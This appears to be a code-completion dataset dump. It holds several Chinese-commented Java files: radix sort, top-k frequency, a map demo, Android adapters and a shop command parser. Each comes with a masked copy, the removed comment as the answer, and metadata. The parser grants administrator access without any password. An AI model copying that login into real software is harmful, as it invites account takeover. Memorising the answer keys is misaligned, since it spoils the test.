class Solution { // 时间复杂度:O(nlogk)O(nlogk)O(nlogk),nnn 表示数组的长度。首先,遍历一遍数组统计元素的频率,这一系列操作的时间复杂度是 O(n)O(n)O(n);接着,遍历用于存储元素频率的 map,如果元素的频率大于最小堆中顶部的元素,则将顶部的元素删除并将该元素加入堆中,这里维护堆的数目是 kkk,所以这一系列操作的时间复杂度是 O(nlogk)O(nlogk)O(nlogk) 的;因此,总的时间复杂度是 O(nlog⁡k)O(nlog⁡k)O(nlog⁡k)。 // 空间 <SUF> public int[] topKFrequent(int[] nums, int k) { // 使用字典,统计每个元素出现的次数,元素为键,元素出现的次数为值 HashMap<Integer,Integer> map = new HashMap(); for(int num : nums){ if (map.containsKey(num)) { map.put(num, map.get(num) + 1); } else { map.put(num, 1); } } // 遍历map,用最小堆保存频率最大的k个元素 PriorityQueue<Integer> pq = new PriorityQueue<>(new Comparator<Integer>() { @Override public int compare(Integer a, Integer b) { return map.get(a) - map.get(b); } }); for (Integer key : map.keySet()) { if (pq.size() < k) { pq.add(key); } else if (map.get(key) > map.get(pq.peek())) { pq.remove(); pq.add(key); } } // 取出最小堆中的元素 List<Integer> res = new ArrayList<>(); while (!pq.isEmpty()) { res.add(pq.remove()); } return res.stream().mapToInt(Integer::valueOf).toArray(); } }
0
488
67
539
65
550
63
539
65
766
105
false
false
false
false
false
true
25782_3
package class05; import java.util.Arrays; /** * Created with IntelliJ IDEA. * * @Author: 雪雪子 * @Date: 2023/08/19/16:41 * @Description: 基数排序 * 原本的思路:给数组中数字排序的原理是,从个位数字开始比较,建立10个桶,下标为0~9, * 按原本的顺序,入队列的桶,个位为0的进0桶,个位为9的进9桶。 * 入桶后出通,先进的先出(保留个位相同,原本的相对顺序)此时完成个位的排序 * 依次类推,排序十位,百位,直到最高位。 * ✔ 但是注意,实现时并不走这样逻辑,而是优化,简化逻辑 * 我们用前缀和数组来简化入桶出桶的过程 * 例如一个无序数组[14,27,8,31,51,0]按个位排序的话,需要建立10个队列分别入队列出队列 * 建他的桶数组长度为10[1,2,0,0,1, 0,0,1,1,0]即i位含义是个位为i的数有几个 * 建立他的前缀和数组 [1,2,2,2,3, 3,3,4,5,5]即i位指的是前0~i位数的和,即<=i的有几个 * 1)我们从右侧开始入桶,个位为1,入1桶, * 2)并且已经得知,<= 1的数有2个,1桶中数据下标范围为0~1,又因为排在最后, * 是从右开始遍历的,所以是1桶中最后出桶的。即应该在1位 * 循环1)2)依次类推不同的数和循环外不同的位数 * * * Math.pow(base,exponent) 函数返回基数(base)的指数(exponent)次幂,即 base^exponent。 */ public class Code04_RadixSort { // only for no-negative value public static void radixSort(int[] arr) { //判非法数组,调用自己的重载方法,4参数那个 if(arr == null || arr.length < 2){ return; } radixSort(arr, 0, arr.length - 1, maxbits(arr)); } //找数组中最高位是几位 public static int maxbits(int[] arr) { //先找出最大值max,然后判断位数res int max = Integer.MIN_VALUE; for(int i = 0; i < arr.length; i++){ max = Math.max(max, arr[i]); } int res = 1;//代表位数 max /= 10; while(max != 0){ max /= 10; res++; } return res; } // arr[L..R]排序 , 最大值的十进制位数digit public static void radixSort(int[] arr, int L, int R, int digit) { //定义final变量radix为10,代表10进制 // 有多少个数准备多少个辅助空间help数组 //以位数digit循环,每次排序一个位数,由低到高 //count数组10个空间,因为是十进制,存个数前缀和 // 有多少位就进出几次 // 10个空间 // count[0] 当前位(d位)是0的数字有多少个 // count[1] 当前位(d位)是(0和1)的数字有多少个 // count[2] 当前位(d位)是(0、1和2)的数字有多少个 // count[i] 当前位(d位)是(0~i)的数字有多少个 // count[0..9] //4个内循环, final int radix = 10; int[] help = new int[R - L + 1]; for(int d = 1; d <= digit; d++){//取不同的位数 //分别是填充count数组,j取当前需要的位,count统计i桶几个数 //前缀和 //覆盖原help数组,从右往左确定位置,count-- //help刷写回arr数组 int[] count = new int[radix]; for(int i = L; i <= R; i++){ int j = getDigit(arr[i], d); count[j]++;//取数组个位(d位)统计个数 } for(int i = 1; i < radix; i++){ count[i] += count[i - 1]; } //核心,以当前位作为比较标准进行排序 //例如:arr从右往左第一位的d位为2,要进2桶,count[2]代表<=2的有几个,假设有3个 //那当前的arr[i]一定在help的2位上 for(int i = R; i >= L; i--){//从右往左遍历arr数组 int j = getDigit(arr[i], d); help[count[j] - 1] = arr[i]; count[j]--; } for(int i = 0, j = L; i < help.length; i++,j++){ arr[j] = help[i]; } } } //返回一个数的d位数字,Math.pow(x,y)==x^y //比如取十位,d=2,(x/10)%10取到10位数 public static int getDigit(int x, int d) { return (int)((x/(Math.pow(10, d - 1))) % 10);//为啥要取整呢本来就是余数诶 } // ------------------------------for test public static void comparator(int[] arr) { Arrays.sort(arr); } // for test public static int[] generateRandomArray(int maxSize, int maxValue) { int[] arr = new int[(int) ((maxSize + 1) * Math.random())]; for (int i = 0; i < arr.length; i++) { arr[i] = (int) ((maxValue + 1) * Math.random()); } return arr; } // for test public static int[] copyArray(int[] arr) { if (arr == null) { return null; } int[] res = new int[arr.length]; for (int i = 0; i < arr.length; i++) { res[i] = arr[i]; } return res; } // for test public static boolean isEqual(int[] arr1, int[] arr2) { if ((arr1 == null && arr2 != null) || (arr1 != null && arr2 == null)) { return false; } if (arr1 == null && arr2 == null) { return true; } if (arr1.length != arr2.length) { return false; } for (int i = 0; i < arr1.length; i++) { if (arr1[i] != arr2[i]) { return false; } } return true; } // for test public static void printArray(int[] arr) { if (arr == null) { return; } for (int i = 0; i < arr.length; i++) { System.out.print(arr[i] + " "); } System.out.println(); } // for test public static void main(String[] args) { // int[] arr = new int[]{27,81,68,22,91,3,84,70,39,25}; // radixSort(arr); // printArray(arr); int testTime = 500000; int maxSize = 10; int maxValue = 100; boolean succeed = true; for (int i = 0; i < testTime; i++) { int[] arr1 = generateRandomArray(maxSize, maxValue); int[] arr2 = copyArray(arr1); radixSort(arr1); comparator(arr2); if (!isEqual(arr1, arr2)) { succeed = false; printArray(arr1); printArray(arr2); break; } } System.out.println(succeed ? "Nice!" : "Fucking fucked!"); int[] arr = generateRandomArray(maxSize, maxValue); printArray(arr); radixSort(arr); printArray(arr); } }
18292872556/DailyCode
Code04_RadixSort.java
2,086
//找数组中最高位是几位
line_comment
zh-cn
package class05; import java.util.Arrays; /** * Created with IntelliJ IDEA. * * @Author: 雪雪子 * @Date: 2023/08/19/16:41 * @Description: 基数排序 * 原本的思路:给数组中数字排序的原理是,从个位数字开始比较,建立10个桶,下标为0~9, * 按原本的顺序,入队列的桶,个位为0的进0桶,个位为9的进9桶。 * 入桶后出通,先进的先出(保留个位相同,原本的相对顺序)此时完成个位的排序 * 依次类推,排序十位,百位,直到最高位。 * ✔ 但是注意,实现时并不走这样逻辑,而是优化,简化逻辑 * 我们用前缀和数组来简化入桶出桶的过程 * 例如一个无序数组[14,27,8,31,51,0]按个位排序的话,需要建立10个队列分别入队列出队列 * 建他的桶数组长度为10[1,2,0,0,1, 0,0,1,1,0]即i位含义是个位为i的数有几个 * 建立他的前缀和数组 [1,2,2,2,3, 3,3,4,5,5]即i位指的是前0~i位数的和,即<=i的有几个 * 1)我们从右侧开始入桶,个位为1,入1桶, * 2)并且已经得知,<= 1的数有2个,1桶中数据下标范围为0~1,又因为排在最后, * 是从右开始遍历的,所以是1桶中最后出桶的。即应该在1位 * 循环1)2)依次类推不同的数和循环外不同的位数 * * * Math.pow(base,exponent) 函数返回基数(base)的指数(exponent)次幂,即 base^exponent。 */ public class Code04_RadixSort { // only for no-negative value public static void radixSort(int[] arr) { //判非法数组,调用自己的重载方法,4参数那个 if(arr == null || arr.length < 2){ return; } radixSort(arr, 0, arr.length - 1, maxbits(arr)); } //找数 <SUF> public static int maxbits(int[] arr) { //先找出最大值max,然后判断位数res int max = Integer.MIN_VALUE; for(int i = 0; i < arr.length; i++){ max = Math.max(max, arr[i]); } int res = 1;//代表位数 max /= 10; while(max != 0){ max /= 10; res++; } return res; } // arr[L..R]排序 , 最大值的十进制位数digit public static void radixSort(int[] arr, int L, int R, int digit) { //定义final变量radix为10,代表10进制 // 有多少个数准备多少个辅助空间help数组 //以位数digit循环,每次排序一个位数,由低到高 //count数组10个空间,因为是十进制,存个数前缀和 // 有多少位就进出几次 // 10个空间 // count[0] 当前位(d位)是0的数字有多少个 // count[1] 当前位(d位)是(0和1)的数字有多少个 // count[2] 当前位(d位)是(0、1和2)的数字有多少个 // count[i] 当前位(d位)是(0~i)的数字有多少个 // count[0..9] //4个内循环, final int radix = 10; int[] help = new int[R - L + 1]; for(int d = 1; d <= digit; d++){//取不同的位数 //分别是填充count数组,j取当前需要的位,count统计i桶几个数 //前缀和 //覆盖原help数组,从右往左确定位置,count-- //help刷写回arr数组 int[] count = new int[radix]; for(int i = L; i <= R; i++){ int j = getDigit(arr[i], d); count[j]++;//取数组个位(d位)统计个数 } for(int i = 1; i < radix; i++){ count[i] += count[i - 1]; } //核心,以当前位作为比较标准进行排序 //例如:arr从右往左第一位的d位为2,要进2桶,count[2]代表<=2的有几个,假设有3个 //那当前的arr[i]一定在help的2位上 for(int i = R; i >= L; i--){//从右往左遍历arr数组 int j = getDigit(arr[i], d); help[count[j] - 1] = arr[i]; count[j]--; } for(int i = 0, j = L; i < help.length; i++,j++){ arr[j] = help[i]; } } } //返回一个数的d位数字,Math.pow(x,y)==x^y //比如取十位,d=2,(x/10)%10取到10位数 public static int getDigit(int x, int d) { return (int)((x/(Math.pow(10, d - 1))) % 10);//为啥要取整呢本来就是余数诶 } // ------------------------------for test public static void comparator(int[] arr) { Arrays.sort(arr); } // for test public static int[] generateRandomArray(int maxSize, int maxValue) { int[] arr = new int[(int) ((maxSize + 1) * Math.random())]; for (int i = 0; i < arr.length; i++) { arr[i] = (int) ((maxValue + 1) * Math.random()); } return arr; } // for test public static int[] copyArray(int[] arr) { if (arr == null) { return null; } int[] res = new int[arr.length]; for (int i = 0; i < arr.length; i++) { res[i] = arr[i]; } return res; } // for test public static boolean isEqual(int[] arr1, int[] arr2) { if ((arr1 == null && arr2 != null) || (arr1 != null && arr2 == null)) { return false; } if (arr1 == null && arr2 == null) { return true; } if (arr1.length != arr2.length) { return false; } for (int i = 0; i < arr1.length; i++) { if (arr1[i] != arr2[i]) { return false; } } return true; } // for test public static void printArray(int[] arr) { if (arr == null) { return; } for (int i = 0; i < arr.length; i++) { System.out.print(arr[i] + " "); } System.out.println(); } // for test public static void main(String[] args) { // int[] arr = new int[]{27,81,68,22,91,3,84,70,39,25}; // radixSort(arr); // printArray(arr); int testTime = 500000; int maxSize = 10; int maxValue = 100; boolean succeed = true; for (int i = 0; i < testTime; i++) { int[] arr1 = generateRandomArray(maxSize, maxValue); int[] arr2 = copyArray(arr1); radixSort(arr1); comparator(arr2); if (!isEqual(arr1, arr2)) { succeed = false; printArray(arr1); printArray(arr2); break; } } System.out.println(succeed ? "Nice!" : "Fucking fucked!"); int[] arr = generateRandomArray(maxSize, maxValue); printArray(arr); radixSort(arr); printArray(arr); } }
0
1,961
8
2,086
10
2,147
8
2,086
10
2,639
15
false
false
false
false
false
true
10195_9
package com.qx.day10; import java.util.*; import java.util.Map.Entry; /** * Created with IntelliJ IDEA. * * @Author: xuexuezi * @Date: 2022/09/17/3:50 * @Description: */ public class Pet implements Comparator<Pet> { public Pet(){ } public Pet(String name,int num, int legNum){ this.name = name; this.num = num; this.legNum = legNum; } private String name; private int num; private int legNum; public String getName(){ return this.name; } public void setName(String name){ this.name = name; } public int getNum(){ return this.num; } public void setNum(int num){ this.num = num; } public int getLeg(){ return this.legNum; } public void setLeg(int legNum){ this.legNum = legNum; } @Override public int compare(Pet o1, Pet o2) { if(o1.name.compareTo(o2.name) > 0){//指定的数o1.name>参数o2.name,返回正数 return 1;//得出o1>o2.并排在o2后 }else if(o1.name.compareTo(o2.name) < 0){//指定的数o1.name<o2.name,返回负数 return -1; }else{//相等返回0 return 0; } } // @Override // public String toString() { // //return super.toString(); // return getClass().getName()+"[name = "+name+",num = "+num+",legNum = "+legNum+"]"; // } public static void main(String[] args){ Pet pet1 = new Pet("边牧",1,4); Pet pet2 = new Pet("缅因猫",2,4); Pet pet3 = new Pet("鹦鹉",4,2); Pet pet4 = new Pet("鲸鱼",1,0); Map<Integer,Pet> map1 = new HashMap<Integer,Pet>();//该种宠物养了几只 map1.put(1,pet1); map1.put(23,pet4); map1.put(56,pet2); map1.put(8,pet2); map1.put(2,pet3); //注意,以自定义的类为key时,需要在构造map时提供参数new一下自定义的类 Map<Pet,String> map2 = new TreeMap<Pet,String>(new Pet());//这类宠物性格特征 map2.put(pet1,"聪明"); map2.put(pet2,"温顺"); map2.put(pet3,"漂亮"); map2.put(pet4,"孤独"); // //1.直接遍历 // System.out.println(map1); // System.out.println(map2); // // //2.使用map.keySet()方法把所有key存入Set集合,再根据map.get()方法,根据key取到value // Set<Integer> key1 = map1.keySet(); // for(Integer k1: key1){//此处,key为个数直接输出,vaule为对象,直接输出对象是散列码,最好是输出对象的名称 // System.out.println(k1+" = "+map1.get(k1).name); // } // // Set<Pet> key2 = map2.keySet(); // for(Pet k2: key2){//此处,key为对象,输出对象的名称比较好 // System.out.println(k2.name+" = "+map2.get(k2)); // } // // //3.遍历3 Set<Entry<Integer,Pet>> entrys = map1.entrySet(); System.out.println(entrys); Set<Entry<Pet,String>> entryss = map2.entrySet(); System.out.println(entryss); //4.遍历Entry类型的Set,使用Entry的getKey()和getValue()方法 for(Entry<Integer,Pet> e: entrys){ System.out.println(e.getKey()+" = "+ e.getValue().getName()); } for(Entry<Pet,String> e: entryss){ System.out.println(e.getKey().getName() +" = "+e.getValue()); } //5.遍历5使用forEach map1.forEach((k,v)->{ System.out.print(k+"="+v.getName()+" "); }); System.out.println(); map2.forEach((k,v)->{//Lambda表达式内k,v随意起名。只是代表map中每个键值对的key和value System.out.print("key:"+k.getName()+"="+"value:"+v+" "); }); } }
18292872556/java-basics
src/com/qx/day10/Pet.java
1,180
//该种宠物养了几只
line_comment
zh-cn
package com.qx.day10; import java.util.*; import java.util.Map.Entry; /** * Created with IntelliJ IDEA. * * @Author: xuexuezi * @Date: 2022/09/17/3:50 * @Description: */ public class Pet implements Comparator<Pet> { public Pet(){ } public Pet(String name,int num, int legNum){ this.name = name; this.num = num; this.legNum = legNum; } private String name; private int num; private int legNum; public String getName(){ return this.name; } public void setName(String name){ this.name = name; } public int getNum(){ return this.num; } public void setNum(int num){ this.num = num; } public int getLeg(){ return this.legNum; } public void setLeg(int legNum){ this.legNum = legNum; } @Override public int compare(Pet o1, Pet o2) { if(o1.name.compareTo(o2.name) > 0){//指定的数o1.name>参数o2.name,返回正数 return 1;//得出o1>o2.并排在o2后 }else if(o1.name.compareTo(o2.name) < 0){//指定的数o1.name<o2.name,返回负数 return -1; }else{//相等返回0 return 0; } } // @Override // public String toString() { // //return super.toString(); // return getClass().getName()+"[name = "+name+",num = "+num+",legNum = "+legNum+"]"; // } public static void main(String[] args){ Pet pet1 = new Pet("边牧",1,4); Pet pet2 = new Pet("缅因猫",2,4); Pet pet3 = new Pet("鹦鹉",4,2); Pet pet4 = new Pet("鲸鱼",1,0); Map<Integer,Pet> map1 = new HashMap<Integer,Pet>();//该种 <SUF> map1.put(1,pet1); map1.put(23,pet4); map1.put(56,pet2); map1.put(8,pet2); map1.put(2,pet3); //注意,以自定义的类为key时,需要在构造map时提供参数new一下自定义的类 Map<Pet,String> map2 = new TreeMap<Pet,String>(new Pet());//这类宠物性格特征 map2.put(pet1,"聪明"); map2.put(pet2,"温顺"); map2.put(pet3,"漂亮"); map2.put(pet4,"孤独"); // //1.直接遍历 // System.out.println(map1); // System.out.println(map2); // // //2.使用map.keySet()方法把所有key存入Set集合,再根据map.get()方法,根据key取到value // Set<Integer> key1 = map1.keySet(); // for(Integer k1: key1){//此处,key为个数直接输出,vaule为对象,直接输出对象是散列码,最好是输出对象的名称 // System.out.println(k1+" = "+map1.get(k1).name); // } // // Set<Pet> key2 = map2.keySet(); // for(Pet k2: key2){//此处,key为对象,输出对象的名称比较好 // System.out.println(k2.name+" = "+map2.get(k2)); // } // // //3.遍历3 Set<Entry<Integer,Pet>> entrys = map1.entrySet(); System.out.println(entrys); Set<Entry<Pet,String>> entryss = map2.entrySet(); System.out.println(entryss); //4.遍历Entry类型的Set,使用Entry的getKey()和getValue()方法 for(Entry<Integer,Pet> e: entrys){ System.out.println(e.getKey()+" = "+ e.getValue().getName()); } for(Entry<Pet,String> e: entryss){ System.out.println(e.getKey().getName() +" = "+e.getValue()); } //5.遍历5使用forEach map1.forEach((k,v)->{ System.out.print(k+"="+v.getName()+" "); }); System.out.println(); map2.forEach((k,v)->{//Lambda表达式内k,v随意起名。只是代表map中每个键值对的key和value System.out.print("key:"+k.getName()+"="+"value:"+v+" "); }); } }
0
1,030
7
1,180
11
1,214
7
1,180
11
1,434
15
false
false
false
false
false
true
30201_2
package com.tantuo.didicar.adapter; import android.support.v4.view.PagerAdapter; import android.view.View; import android.view.ViewGroup; import com.tantuo.didicar.base.BasePager; import java.util.ArrayList; /** * Author by TanTuo, 微信:18601949127, * Email:1991201740@qq.com * 作用:ContentFragmentAdapter 屏幕正中央的ViewPager */ public class ContentFragmentAdapter extends PagerAdapter { private final ArrayList<BasePager> basePagers; public ContentFragmentAdapter(ArrayList<BasePager> basePagers) { this.basePagers = basePagers; } @Override public int getCount() { return basePagers.size(); } @Override public Object instantiateItem(ViewGroup container, int position) { BasePager basePager = basePagers.get(position);//各个页面的实例 View rootView = basePager.rootView;//各个子页面 //调用initData() //注意:这里的initData()看上去调用的是basePager,肯定是调用的是各个子类pager的。by:Tantuo basePager.initData();//初始化数据 container.addView(rootView); return rootView; } @Override public boolean isViewFromObject(View view, Object object) { return view == object; } @Override public void destroyItem(ViewGroup container, int position, Object object) { container.removeView((View) object); } }
18601949127/DiDiCallCar
app/src/main/java/com/tantuo/didicar/adapter/ContentFragmentAdapter.java
382
//各个子页面
line_comment
zh-cn
package com.tantuo.didicar.adapter; import android.support.v4.view.PagerAdapter; import android.view.View; import android.view.ViewGroup; import com.tantuo.didicar.base.BasePager; import java.util.ArrayList; /** * Author by TanTuo, 微信:18601949127, * Email:1991201740@qq.com * 作用:ContentFragmentAdapter 屏幕正中央的ViewPager */ public class ContentFragmentAdapter extends PagerAdapter { private final ArrayList<BasePager> basePagers; public ContentFragmentAdapter(ArrayList<BasePager> basePagers) { this.basePagers = basePagers; } @Override public int getCount() { return basePagers.size(); } @Override public Object instantiateItem(ViewGroup container, int position) { BasePager basePager = basePagers.get(position);//各个页面的实例 View rootView = basePager.rootView;//各个 <SUF> //调用initData() //注意:这里的initData()看上去调用的是basePager,肯定是调用的是各个子类pager的。by:Tantuo basePager.initData();//初始化数据 container.addView(rootView); return rootView; } @Override public boolean isViewFromObject(View view, Object object) { return view == object; } @Override public void destroyItem(ViewGroup container, int position, Object object) { container.removeView((View) object); } }
0
329
4
382
5
373
4
382
5
454
8
false
false
false
false
false
true
18706_0
import ConcreteCommand.*; import java.math.BigDecimal; import java.sql.Date; import java.sql.SQLException; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Scanner; public class Parser { public static Date parseSqlDate(String dateStr) { SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd"); try { java.util.Date utilDate = formatter.parse(dateStr); return new Date(utilDate.getTime()); } catch (ParseException e) { e.printStackTrace(); return null; } } static String user_type = null; static String username = null; public static void main(String[] args) throws SQLException, ClassNotFoundException { Scanner scanner = new Scanner(System.in); System.out.println("Enter command:"); while(scanner.hasNextLine()) { String input = scanner.nextLine(); String[] commands = input.split(" "); switch (commands[0]) { case "register_costumer": case "rc": if (commands.length == 5) { Register.registerCostumer(commands[1], commands[2],commands[3],commands[4]); } else { System.out.println("Invalid register command. Usage: rc <name> <age> <gender> <tel>"); } break; case "showAllCommodity": case "sac": ShowAllCommodity.show_all_commodity(); break; case "favorite": if (commands.length == 3) { favorite.favorite(username,Integer.parseInt(commands[1]),Integer.parseInt(commands[2])); } else { System.out.println("Invalid register command. Usage: favorite <username> <commodity_id> <threshold>"); } break; case "register_vendor": case "rv": if (commands.length == 3) { RegisterVendor.registerVendor(commands[1], commands[2]); } else { System.out.println("Invalid register command. Usage: rv <name> <address>"); } break; // 可以在这里增加更多命令的处理 case "login" : if (commands.length == 3) { if (commands[1].equals("vendor")) { if (SelectVendor.selectVendorByName(commands[2])) { username = commands[2]; user_type = "vendor"; System.out.println("商家登录成功"); } else { System.out.println("未注册"); } } if (commands[1].equals("customer")) { if (SelectCustomer.selectCustomerByName(commands[2])) { username = commands[2]; user_type = "customer"; System.out.println("用户登录成功"); } else { System.out.println("未注册"); } } }else if(commands.length == 2){ if (commands[1].equals("administrator")){ username = "administrator"; user_type = "administrator"; System.out.println("管理员登录成功"); } } else { System.out.println("Invalid register command. Usage: login <usertype> <username>"); } break; case "sell": if (user_type != null && user_type.equals("vendor") && commands.length == 5) { // 使用 username 作为 vendorName,它应该已经通过之前的 "login" 命令设置好了 String commodityName = commands[1]; String category = commands[2]; String origin = commands[3]; Date mfd = parseSqlDate(commands[4]); // 解析日期 if (mfd != null) { CreateCommodity.addCommodity(username, commodityName, category, origin, mfd); } else { System.out.println("Invalid date format. Usage: sell <name> <category> <origin> <yyyy.MM.dd>"); } } else { if (user_type == null || !user_type.equals("vendor")) { System.out.println("Error: Only vendors can sell items."); } else { System.out.println("Invalid sell command. Usage: sell <name> <category> <origin> <yyyy.MM.dd>"); } } break; case "publish": if (user_type != null && user_type.equals("vendor") && commands.length == 5 && "to".equals(commands[2])) { String commodityName = commands[1]; String platformName = commands[3]; BigDecimal bigDecimalNumber = new BigDecimal(commands[4]); PublishCommodity.publishCommodity(username, commodityName, platformName,bigDecimalNumber); } else { System.out.println("Invalid publish command. Usage: publish <commodity_name> to <platform_name>"); } break; case "modify": if (user_type != null && user_type.equals("vendor") && commands.length == 5 && "in".equals(commands[2])) { String commodityName = commands[1]; String platformName = commands[3]; BigDecimal bigDecimalNumber = new BigDecimal(commands[4]); ModifyCommodityPrice.modifyCommodityPrice(username, commodityName, platformName,bigDecimalNumber); } else { System.out.println("Invalid publish command. Usage: publish <commodity_name> to <platform_name>"); } break; case "showMyInfo": if(user_type.equals("vendor")) VendorQuery.queryVendorInfo(username); else if(user_type.equals("customer")) VendorQuery.queryCustomerInfo(username); break; case "showMyCommodity": VendorQuery.queryVendorCommodities(username); break; case "searchMC": VendorQuery.queryLatestPrice(username,commands[1]); break; case "notice": CustomerNotifications.notice(username); break; case "administer": if(commands[1].equals("mv")){ Administer.updateVendor(Integer.parseInt(commands[2]),commands[3],commands[4]); }else if(commands[1].equals("dv")){ Administer.deleteVendor(Integer.parseInt(commands[2])); }else if(commands[1].equals("mc")){ Administer.updateCustomer(Integer.parseInt(commands[2]),commands[3],Integer.parseInt(commands[4]),commands[5],commands[6]); }else if(commands[1].equals("dc")){ Administer.deleteCustomer(Integer.parseInt(commands[2])); }else if(commands[1].equals("deleteCommodity")){ Administer.deleteCommodity(Integer.parseInt(commands[2])); } break; case "search_commodity": if(commands.length == 2){ ShowAllCommodity.showCommodityById(Integer.parseInt(commands[2])); }else{ System.out.println("wrong command"); } break; case "show_my_favorite": if(user_type.equals("customer")){ ShowAllCommodity.show_my_favorite_commodity(username); }else{ System.out.println("you are not a customer"); } break; default: System.out.println("Unknown command."); break; } } } }
18684154298/databasePJ
src/Parser.java
1,678
// 可以在这里增加更多命令的处理
line_comment
zh-cn
import ConcreteCommand.*; import java.math.BigDecimal; import java.sql.Date; import java.sql.SQLException; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Scanner; public class Parser { public static Date parseSqlDate(String dateStr) { SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd"); try { java.util.Date utilDate = formatter.parse(dateStr); return new Date(utilDate.getTime()); } catch (ParseException e) { e.printStackTrace(); return null; } } static String user_type = null; static String username = null; public static void main(String[] args) throws SQLException, ClassNotFoundException { Scanner scanner = new Scanner(System.in); System.out.println("Enter command:"); while(scanner.hasNextLine()) { String input = scanner.nextLine(); String[] commands = input.split(" "); switch (commands[0]) { case "register_costumer": case "rc": if (commands.length == 5) { Register.registerCostumer(commands[1], commands[2],commands[3],commands[4]); } else { System.out.println("Invalid register command. Usage: rc <name> <age> <gender> <tel>"); } break; case "showAllCommodity": case "sac": ShowAllCommodity.show_all_commodity(); break; case "favorite": if (commands.length == 3) { favorite.favorite(username,Integer.parseInt(commands[1]),Integer.parseInt(commands[2])); } else { System.out.println("Invalid register command. Usage: favorite <username> <commodity_id> <threshold>"); } break; case "register_vendor": case "rv": if (commands.length == 3) { RegisterVendor.registerVendor(commands[1], commands[2]); } else { System.out.println("Invalid register command. Usage: rv <name> <address>"); } break; // 可以 <SUF> case "login" : if (commands.length == 3) { if (commands[1].equals("vendor")) { if (SelectVendor.selectVendorByName(commands[2])) { username = commands[2]; user_type = "vendor"; System.out.println("商家登录成功"); } else { System.out.println("未注册"); } } if (commands[1].equals("customer")) { if (SelectCustomer.selectCustomerByName(commands[2])) { username = commands[2]; user_type = "customer"; System.out.println("用户登录成功"); } else { System.out.println("未注册"); } } }else if(commands.length == 2){ if (commands[1].equals("administrator")){ username = "administrator"; user_type = "administrator"; System.out.println("管理员登录成功"); } } else { System.out.println("Invalid register command. Usage: login <usertype> <username>"); } break; case "sell": if (user_type != null && user_type.equals("vendor") && commands.length == 5) { // 使用 username 作为 vendorName,它应该已经通过之前的 "login" 命令设置好了 String commodityName = commands[1]; String category = commands[2]; String origin = commands[3]; Date mfd = parseSqlDate(commands[4]); // 解析日期 if (mfd != null) { CreateCommodity.addCommodity(username, commodityName, category, origin, mfd); } else { System.out.println("Invalid date format. Usage: sell <name> <category> <origin> <yyyy.MM.dd>"); } } else { if (user_type == null || !user_type.equals("vendor")) { System.out.println("Error: Only vendors can sell items."); } else { System.out.println("Invalid sell command. Usage: sell <name> <category> <origin> <yyyy.MM.dd>"); } } break; case "publish": if (user_type != null && user_type.equals("vendor") && commands.length == 5 && "to".equals(commands[2])) { String commodityName = commands[1]; String platformName = commands[3]; BigDecimal bigDecimalNumber = new BigDecimal(commands[4]); PublishCommodity.publishCommodity(username, commodityName, platformName,bigDecimalNumber); } else { System.out.println("Invalid publish command. Usage: publish <commodity_name> to <platform_name>"); } break; case "modify": if (user_type != null && user_type.equals("vendor") && commands.length == 5 && "in".equals(commands[2])) { String commodityName = commands[1]; String platformName = commands[3]; BigDecimal bigDecimalNumber = new BigDecimal(commands[4]); ModifyCommodityPrice.modifyCommodityPrice(username, commodityName, platformName,bigDecimalNumber); } else { System.out.println("Invalid publish command. Usage: publish <commodity_name> to <platform_name>"); } break; case "showMyInfo": if(user_type.equals("vendor")) VendorQuery.queryVendorInfo(username); else if(user_type.equals("customer")) VendorQuery.queryCustomerInfo(username); break; case "showMyCommodity": VendorQuery.queryVendorCommodities(username); break; case "searchMC": VendorQuery.queryLatestPrice(username,commands[1]); break; case "notice": CustomerNotifications.notice(username); break; case "administer": if(commands[1].equals("mv")){ Administer.updateVendor(Integer.parseInt(commands[2]),commands[3],commands[4]); }else if(commands[1].equals("dv")){ Administer.deleteVendor(Integer.parseInt(commands[2])); }else if(commands[1].equals("mc")){ Administer.updateCustomer(Integer.parseInt(commands[2]),commands[3],Integer.parseInt(commands[4]),commands[5],commands[6]); }else if(commands[1].equals("dc")){ Administer.deleteCustomer(Integer.parseInt(commands[2])); }else if(commands[1].equals("deleteCommodity")){ Administer.deleteCommodity(Integer.parseInt(commands[2])); } break; case "search_commodity": if(commands.length == 2){ ShowAllCommodity.showCommodityById(Integer.parseInt(commands[2])); }else{ System.out.println("wrong command"); } break; case "show_my_favorite": if(user_type.equals("customer")){ ShowAllCommodity.show_my_favorite_commodity(username); }else{ System.out.println("you are not a customer"); } break; default: System.out.println("Unknown command."); break; } } } }
0
1,455
10
1,678
9
1,788
8
1,678
9
2,111
18
false
false
false
false
false
true
47137_10
package com.ch.doudemo.activity; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.PagerSnapHelper; import android.support.v7.widget.RecyclerView; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import com.bumptech.glide.Glide; import com.ch.doudemo.R; import com.ch.doudemo.base.BaseRecAdapter; import com.ch.doudemo.base.BaseRecViewHolder; import com.ch.doudemo.widget.MyVideoPlayer; import java.util.ArrayList; import java.util.List; import butterknife.BindView; import butterknife.ButterKnife; /** * 翻页2 */ public class Page2Activity extends AppCompatActivity { @BindView(R.id.rv_page2) RecyclerView rvPage2; private List<String> urlList; private ListVideoAdapter videoAdapter; private PagerSnapHelper snapHelper; private LinearLayoutManager layoutManager; private int currentPosition; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_page2); ButterKnife.bind(this); initView(); addListener(); } private void initView() { urlList = new ArrayList<>(); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201811/26/09/5bfb4c55633c9.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201805/100651/201805181532123423.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803151735198462.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150923220770.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150922255785.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150920130302.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803141625005241.mp4"); 